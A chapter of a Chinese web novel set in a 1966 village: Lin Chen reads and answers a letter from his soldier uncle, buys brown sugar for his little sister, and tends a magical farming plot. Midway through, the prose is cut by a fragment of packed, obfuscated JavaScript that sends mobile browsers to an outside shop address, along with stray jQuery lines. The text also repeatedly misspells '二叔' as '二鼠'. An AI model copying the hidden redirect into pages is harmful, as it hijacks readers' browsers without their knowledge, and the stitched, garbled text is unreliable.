二叔的信来了。
那天下午，林晨正在西洼翻地。太阳毒辣辣的，晒得人睁不开眼。土块硬，锄头下去，震得虎口发麻。他翻完一垄，直起腰，擦了把汗，看见一个人从坡下走上来。
是邮递员。骑着那辆绿色的自行车，车后座上挂着帆布包。他把自行车停在坡下，拿着一个信封，朝林晨招手。
“林晨，你家信。”
林晨放下锄头，从地里出来。鞋上沾着泥，踩在草上，一步一个印。他接过信封，看了一眼，是二叔的字，歪歪扭扭的，但一笔一划都很认真。
“谢谢。”
邮递员骑上车走了。
林晨把信揣进口袋，扛起锄头，继续翻地。
李叔在地那头喊他：“晨儿，谁的信？”
“二叔的。”
“好事。回去看看吧。”
“不着急。翻完这垄。”
林晨弯腰，继续刨。锄头一起一落，土块翻起来，散开。他干得快，一垄翻完，扛起锄头往家走。
院门口，念念蹲在地上画圈。她看见林晨，站起来。
“哥，你手里拿的啥？”
“信。”
“谁的信？”
“二鼠的。”
念念眼睛亮了，跑过来，踮着脚尖想看。林晨把信封放低，让她看。念念摸了摸信封上的字，不认识，但她知道是二叔写的。
“二鼠说啥了？”
“还没看。”
念念拉着他的手，往灶房里拽：“快看。”
母亲正在切菜，刀一下一下的，不紧不慢。林晨走进来，从口袋里掏出信，拆开。
“秀兰嫂，见字如面。最近部队训练忙，一直没空写信。上次寄的钱收到了吗？念念的鞋合脚不？熙熙考上了没有？林晨下地别太拼。我一切都好，勿念。国栋，1966年5月。”
林晨念完了，把信纸放在桌上。母亲拿起信，看了一遍，又看了一遍。
“妈，二鼠说啥了？”念念急了。
“问你考上了没有。”母亲把信放下。
“姐考上了。”念念说，“二鼠还不知道。”
“嗯。”
念念跑到桌边，拿起信纸，看着上面那些字。一个字也不认识，但她看了很久。
“妈，给二鼠写信。告诉他姐考上了。”
母亲没接话，看着林晨。林晨点了点头。
“妈，我写。”
晚上，吃完饭，林晨坐在油灯下写信。念念趴在旁边，看着他写。
“二叔，见字如面。家里都好。熙熙考上了，公社小学，已经去上学了。念念也长大了，会说好多话了。爷爷的腿好多了，能下地了。你寄的钱收到了，给熙熙交了学费。你在部队好好照顾自己，别太省。林晨。”
林晨写完，念给念念听。念念听完，问：“哥，你写我想二鼠了没？”
“写了。”
“你再念一遍。”
林晨又念了一遍。念念听完，想了想：“你写二鼠早点回来。”
林晨在信后面加了一句：“念念说，让你早点回来。”
念念满意了。
念念趴在桌上，看着那封信，又问：“哥，二鼠什么时候回来？”
“快了。”
“快了是啥时候？”
林晨想了想：“等你再长大一点。”
念念伸出五根手指：“五岁？”
“差不多。”
念念点点头，从桌上滑下去，跑到院子里，抬头看天。天上有星星，一颗两颗三颗。她数到五，停下来。
“哥，姐回来还有四天。”
“嗯。”
“二鼠回来还有好久。”
“嗯。”
念念蹲下来，拿小棍子在地上画了一个圈。
“这是二鼠。”她在圈里点了两点，“二鼠在部队。”
又在旁边画了一个大圈：“这是咱家。”
然后她画了一条线，把两个圈连起来。
“这是路。二鼠沿着路走，就到家了。”
林晨蹲下来，看着那条线。线弯弯曲曲的，从大圈一直延伸到小圈。
“念念，二鼠走的路比姐远。”
“我知道。”念念用小棍子在线旁边点了好多小点，“路上有树，二鼠走在树下面，不晒。还有水，二鼠渴了喝水。”
林晨摸了摸她的头。
念念画完了，站起来，拍拍手上的土，走进灶房。
“妈，我给二鼠画了一条路。”
“啥路？”
“回家的路。”念念说，“二鼠沿着走，就能回来。”
母亲正在切菜，手上的刀停了一下。
第二天一早，林晨去公社寄信。路过学校的时候，他往里看了一眼。操场上有人在跑步，几个女孩手拉手，叽叽喳喳的。他没看见熙熙，但知道她就在里面。
林晨站在门口看了一会儿，转身走了。
邮局还是那个老头，戴着老花镜，趴在柜台上打盹。
“寄信。”
老头睁开眼，接过信封，看了看地址，盖上邮戳。
“义务兵的？”
“嗯。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514594|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“不要钱。”
林晨把信放下，出了邮局。
他在供销社门口站了一会儿，没进去。家里盐还有，火柴还有，肥皂还能用一阵子。他想了想，还是进去了。
“同志，买二两红糖。”
营业员从柜子里拿出一个纸包，称了称，递给他。
“一毛五。”
林晨掏出一毛五，接过红糖，装进口袋。
到家的时候，念念正在院子里喂鸡。小鸡崽长大了些，黄乎乎的绒毛褪了，长出白的翅膀。
“念念，给你。”
林晨从口袋里掏出那包红糖，递给母亲。
“妈，给念念冲水喝。”
母亲接过红糖，放进碗柜里，碗柜里还有上次买的红糖，没吃完。
“念念，过来喝糖水。”
念念跑过来，看着母亲从纸包里舀了一勺红糖，放进碗里，冲上开水。红糖化了，水变成红褐色，冒着热气。
念念捧着碗，吹了吹，喝了一小口。
“田。”
母亲看着她喝，嘴角动了一下。
念念喝完了，把碗递给母亲，舔了舔嘴唇。
“妈，二鼠什么时候寄糖？”
“信才寄出去。”
“那等二鼠收到信，再寄糖，要好久。”
“嗯。”
念念低下头，想了想，又抬头：“那我不吃糖了。让二鼠别寄了，把钱留着。”
母亲看了她一眼，没说话。
晚上，林晨进了一趟空间。新种的黄豆出苗了，嫩绿的，两片子叶顶着土。玉米也出苗了，整整齐齐。他蹲下来，拔了拔草，又浇了一遍水。
萝卜又大了一圈，白生生的，从土里顶出来一截。他拔了一根，在衣服上擦了擦，咬了一口。脆，甜，不辣。
走到木屋门口，打开柜子。里面还有几袋玉米面，两筐土豆。够吃，但不够卖。得再攒攒。
他灌了竹筒，出来，兑进水壶。
躺在炕上，念念的手又搭过来了。她今天睡得早，喝了糖水就困了，眼睛都睁不开。
林晨侧过头，看着她。她睡着了，嘴角还挂着一丝笑，手心里攥着一根狗尾巴草，草尖搭在枕头上，晃悠悠的。
他伸手，把狗尾巴草轻轻抽出来，放在枕头边上。
念念动了动，含混地说了一声“二鼠”，又沉沉睡去。
林晨闭上眼。
窗外，风吹着老榆树的叶子，沙沙响。
东屋里，爷爷打了两声呼噜。奶奶说了句什么，听不清。
然后一切安静了。